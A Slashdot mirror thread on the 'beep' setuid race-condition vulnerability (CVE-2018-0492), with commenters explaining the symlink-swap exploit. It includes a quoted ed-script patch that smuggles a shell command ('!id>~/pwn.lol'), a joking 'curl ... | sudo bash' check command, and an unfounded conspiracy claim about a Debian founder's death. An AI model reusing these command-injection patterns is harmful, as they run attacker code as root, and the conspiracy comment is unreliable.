Slashdot Mirror
Linux: Beep Command Can Be Used to Probe for the Presence of Sensitive Files (bleepingcomputer.com)
Catalin Cimpanu, writing for BleepingComputer: A vulnerability in the "beep" package that comes pre-installed with Debian and Ubuntu distros allows an attacker to probe for the presence of files on a computer, even those owned by root users, which are supposed to be secret and inaccessible. The vulnerability, tracked as CVE-2018-0492, has been fixed in recent versions of Debian and Ubuntu (Debian-based OS). At its core, the bug is a race condition in the beep utility that allows the OS to emit a "beep" sound whenever it is deemed necessary. Security researchers have discovered a race condition in the beep package that allows an attacker to elevate his code to root-level access.
Anyone else find it ironic that this comes from bleepingcomputer.com?
Urg... this'll get some flack from the Windows fanboys.
"Linux can be rooted by a command that makes your computer beep? That's fucking idiotic, man..."
Beep is not pre-installed on Debian GNU/Linux.
*sigh* Either remove the damn thing from your program and require sudo privs, or redesign the thing so it doesn't need root (if possible).
Most of her examples tend more toward "unfortunate" than "ironic" but that was too many syllables to flow well in a song.
nothing to see move laong
Another setuid vulnerability in this day and age? You'd think it was difficult to find all the setuid programs on a system and audit the shit out of each and every one of them.
I'm trying to teach myself to set people on fire with my mind... Is it hot in here?
"The third, and debated, use of irony regards what’s called situational irony. Situational irony involves a striking reversal of what is expected or intended: a person sidesteps a pothole to avoid injury and in doing so steps into another pothole and injures themselves. Critics claim the word irony and ironic as they are generally used (as in, 'Isn’t it ironic that you called just as I was planning to call you?') can only apply to situational irony, and uses like the one above are more properly called coincidence."
So there's still some debate on the topic.
The real pun to this vulnerability is the fact it is a race condition in the "beep" package.
Beep! Beep!
... that a command that probably started life as putchar('\007'); could morph into some monster needing to spawn threads and have race conditions.
That is all.
The one thing that's been driving me nuts since switching to Debian testing (from Fedora) is X using system beeps to alert, even though Pulse is running. I'll have to see if something dragged in 'beep' as a dependency when I get home.
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
Is this really where we are now? How many decades of computer science and security research and there's a vulnerability in beep?
Pack it up. We're done. Computers were good while they lasted, but maybe our pending cockroach overlords will get this whole computer thing straightened out better than we did.
So, when the attacker do this, does it now beep or not?
None of my Ubuntu systems have beep installed and I know I didn't remove it on purpose.
Kids nowadays couldn't even code a helloworld.c without an error.
"Linux can be rooted by a command that makes your computer beep? That's fucking idiotic, man..."
And the patch that supposedly fixes the bug contains this gem :
/dev/null 2018-13-37 13:37:37.000000000 +0100
---
+++ b/beep.c 2018-13-37 13:38:38.000000000 +0100
1337a
1,112d
!id>~/pwn.lol;beep # 13-21 12:53:21.000000000 +0100
.
Which is supposed to be an exploit of patch:
according to that source, patch supports diff written in ed scripts (you, know the one editor that is supposed to be the punch line of every "VI vs EMACS" flamewar)
and ed in turn has "! command" to execute commands.
So yes, even the patch fixing the "beep" exploit can be exploited in turn and root the system too (... of any admin careless enough to run the build of the patched package on the bare system instead of inside some container and as a non-root user).
---
Back to beep itself :
- https://sigint.sh/#/holeybeep - a good source which analyzes how beep is exploitable (basically signal handler called at the exact wrong time, while performing a switcharoo on symlink target, between the console that gets opened on each beep, and the target file that gets opened when the signal kills the audio)
- https://github.com/johnath/bee... upstream audio.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
The difference is that in Windows they were in the kernel, whereas in Linux they were in X11, which ran with root privilege and could open /dev/kmem and directly modify kernel memory.
Maybe a couple of decades ago.
Since then:
- in some distant past, font rendering on Unix was offloaded to a separate X Font Server that communicate over a socket, and didn't need it self to be root to write to the framebuffer.
- in a more recent past , font rendering was moved out of the X server, and into the client.
No it doesn't. All *NIX operating systems provide standard UNIX file permissions on device nodes and accessing /dev/dsp or the device for the internal speaker to a group is trivial.
In this case, that's the console/VT or event device (basically beep is good old "\a" bell, but on steroids, i.e.: with ioctl/writes to precisely tune the beep). /dev/dsp).
It doesn't use any audio device (no
That's indeed stupid as there are methods to give access of those to the currently loged-in user (If I'm not mistaken, basically the same work that has been done to run X11 on any non-dinosaur distros)
That's exactly what is abused by some exploits (source) :
have a symlink point to an event device (the king that is controlled by writing instead of ioctl) start a "beep" command (which will open the symlink for writing as root on each played sound), then at the perfect time reroute the symlink send a kill signal - the signal handle will try to mute the speaker (by again opening the symlink for writing), but is now writing the parameters in the target file instead of the event device.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
Lol
Now you can beep your way to success.
Just know that Debian is hosed. Ian didn't kill himself he had no reason to. Ask anybody who knew him. He loved his work. Love doesn't make you kill yourself especially if it's your work.
FBI killed Ian because he wouldn't give them beeps into QNAP NAS's etc. Too much snoobability that he wouldn't help circumvent.
Isnt that right slashdot.gov ? Man who are you even trying to bullshit? Everybody is stupid?
Let the games begin!
Please run this command to find out: curl https://holeybeep.ninja/am_i_vulnerable.sh | sudo bash
If your computer is vulnerable it will beep.
Anyone who would actually run that command has an even bigger security hole between hes ears.
According to the FAQ, beep has to be installed as setuid root for this to work.
Why the heck would beep need root? I'm guessing in order to access the hardware, but that's what we are supposed to have HALs for?
Beep. Ha. You kids today and your conveniences.
My first computer was a TRS-80.
It didn't have a sound generator, but it did have a not very well shielded cassette drive.
You could hand assemble a program and POKE it into memory from BASIC to turn the cassette on and off, which caused interference in the AM range.
Put an AM radio nearby and voilà: music and various sound effects.
From their website:
"How many people are affected?
Millions! Everyone, almost.
According to the Debian popularity contest, beep is installed on 1.86% of all machines. Extrapolating that by the earth population, we estimate roughly 130 million affected users."
130 millions is probably an order of magnitude bigger than all debian users. That extrapolation is ridiculous. Is this supposed to be a tongue in cheek number?
Beep beep, Richie!